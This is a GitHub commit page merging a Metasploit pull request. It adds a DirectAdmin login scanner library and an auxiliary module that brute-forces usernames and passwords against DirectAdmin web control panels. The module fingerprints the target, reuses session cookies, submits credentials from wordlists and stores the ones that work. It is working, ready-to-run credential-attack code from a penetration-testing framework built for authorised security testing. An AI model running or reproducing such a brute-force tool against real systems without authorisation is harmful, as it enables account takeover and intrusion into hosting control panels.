Skip to content

Commit 8cd7185

Browse files
committed
Land rapid7#9313, Add DirectAdmin login_scanner module
2 parents a8b845f + 7f8a5d3 commit 8cd7185

File tree

2 files changed

+214
-0
lines changed

2 files changed

+214
-0
lines changed
Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
3+
module Metasploit
4+
module Framework
5+
module LoginScanner
6+
7+
class DirectAdmin < HTTP
8+
9+
DEFAULT_PORT = 443
10+
PRIVATE_TYPES = [ :password ]
11+
12+
13+
# Checks if the target is Direct Admin Web Control Panel. The login module should call this.
14+
#
15+
# @return [Boolean] TrueClass if target is DAWCP, otherwise FalseClass
16+
def check_setup
17+
login_uri = normalize_uri("#{uri}/CMD_LOGIN")
18+
res = send_request({'uri'=> login_uri})
19+
20+
if res && res.body.include?('DirectAdmin Login')
21+
return true
22+
end
23+
24+
false
25+
end
26+
27+
28+
# Returns the latest sid from DirectAdmin Control Panel
29+
#
30+
# @return [String] The PHP Session ID for DirectAdmin Web Control login
31+
def get_last_sid
32+
@last_sid ||= lambda {
33+
# We don't have a session ID. Well, let's grab one right quick from the login page.
34+
# This should probably only happen once (initially).
35+
login_uri = normalize_uri("#{uri}/CMD_LOGIN")
36+
res = send_request({'uri' => login_uri})
37+
38+
return '' unless res
39+
40+
cookies = res.get_cookies
41+
@last_sid = cookies.scan(/(session=\w+);*/).flatten[0] || ''
42+
}.call
43+
end
44+
45+
46+
# Actually doing the login. Called by #attempt_login
47+
#
48+
# @param username [String] The username to try
49+
# @param password [String] The password to try
50+
# @return [Hash]
51+
# * :status [Metasploit::Model::Login::Status]
52+
# * :proof [String] the HTTP response body
53+
def get_login_state(username, password)
54+
# Prep the data needed for login
55+
sid = get_last_sid
56+
protocol = ssl ? 'https' : 'http'
57+
peer = "#{host}:#{port}"
58+
login_uri = normalize_uri("#{uri}/CMD_LOGIN")
59+
60+
res = send_request({
61+
'uri' => login_uri,
62+
'method' => 'POST',
63+
'cookie' => sid,
64+
'headers' => {
65+
'Referer' => "#{protocol}://#{peer}/#{login_uri}"
66+
},
67+
'vars_post' => {
68+
'username' => username,
69+
'password' => password,
70+
'referer' => '%2F'
71+
}
72+
})
73+
74+
unless res
75+
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => res.to_s}
76+
end
77+
78+
# After login, the application should give us a new SID
79+
cookies = res.get_cookies
80+
sid = cookies.scan(/(session=\w+);*/).flatten[0] || ''
81+
@last_sid = sid # Update our SID
82+
83+
if res.headers['Location'].to_s.include?('/') && !sid.blank?
84+
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.to_s}
85+
end
86+
87+
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.to_s}
88+
end
89+
90+
91+
# Attempts to login to DirectAdmin Web Control Panel. This is called first.
92+
#
93+
# @param credential [Metasploit::Framework::Credential] The credential object
94+
# @return [Result] A Result object indicating success or failure
95+
def attempt_login(credential)
96+
result_opts = {
97+
credential: credential,
98+
status: Metasploit::Model::Login::Status::INCORRECT,
99+
proof: nil,
100+
host: host,
101+
port: port,
102+
protocol: 'tcp',
103+
service_name: ssl ? 'https' : 'http'
104+
}
105+
106+
begin
107+
result_opts.merge!(get_login_state(credential.public, credential.private))
108+
rescue ::Rex::ConnectionError => e
109+
# Something went wrong during login. 'e' knows what's up.
110+
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e.message)
111+
end
112+
113+
Result.new(result_opts)
114+
end
115+
116+
end
117+
end
118+
end
119+
end
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'metasploit/framework/login_scanner/directadmin'
7+
require 'metasploit/framework/credential_collection'
8+
9+
class MetasploitModule < Msf::Auxiliary
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::AuthBrute
12+
include Msf::Auxiliary::Report
13+
include Msf::Auxiliary::Scanner
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'DirectAdmin Web Control Panel Login Utility',
18+
'Description' => %q{
19+
This module will attempt to authenticate to a DirectAdmin Web Control Panel.
20+
},
21+
'Author' => [ 'Nick Marcoccio "1oopho1e" <iremembermodems[at]gmail.com>' ],
22+
'License' => MSF_LICENSE,
23+
'DefaultOptions' =>
24+
{
25+
'RPORT' => 2222,
26+
'SSL' => true,
27+
}
28+
))
29+
30+
register_options(
31+
[
32+
OptString.new('USERNAME', [false, 'The username to specify for authentication', '']),
33+
OptString.new('PASSWORD', [false, 'The password to specify for authentication', '']),
34+
])
35+
end
36+
37+
38+
def scanner(ip)
39+
@scanner ||= lambda {
40+
cred_collection = Metasploit::Framework::CredentialCollection.new(
41+
blank_passwords: datastore['BLANK_PASSWORDS'],
42+
pass_file: datastore['PASS_FILE'],
43+
password: datastore['PASSWORD'],
44+
user_file: datastore['USER_FILE'],
45+
userpass_file: datastore['USERPASS_FILE'],
46+
username: datastore['USERNAME'],
47+
user_as_pass: datastore['USER_AS_PASS']
48+
)
49+
50+
return Metasploit::Framework::LoginScanner::DirectAdmin.new(
51+
configure_http_login_scanner(
52+
host: ip,
53+
port: datastore['RPORT'],
54+
cred_details: cred_collection,
55+
stop_on_success: datastore['STOP_ON_SUCCESS'],
56+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
57+
connection_timeout: 5,
58+
http_username: datastore['HttpUsername'],
59+
http_password: datastore['HttpPassword']
60+
))
61+
}.call
62+
end
63+
64+
# Attempts to login
65+
def bruteforce(ip)
66+
scanner(ip).scan! do |result|
67+
credential_data = result.to_h.merge({
68+
workspace_id: myworkspace_id,
69+
module_fullname: self.fullname,
70+
})
71+
case result.status
72+
when Metasploit::Model::Login::Status::SUCCESSFUL
73+
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
74+
create_credential_and_login(credential_data)
75+
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
76+
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
77+
invalidate_login(credential_data)
78+
when Metasploit::Model::Login::Status::INCORRECT
79+
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
80+
invalidate_login(credential_data)
81+
end
82+
end
83+
end
84+
85+
86+
# Start here
87+
def run_host(ip)
88+
unless scanner(ip).check_setup
89+
print_brute(:level => :error, :ip => ip, :msg => 'Target is not DirectAdmin Web Control Panel')
90+
return
91+
end
92+
93+
bruteforce(ip)
94+
end
95+
end

0 commit comments

Comments
 (0)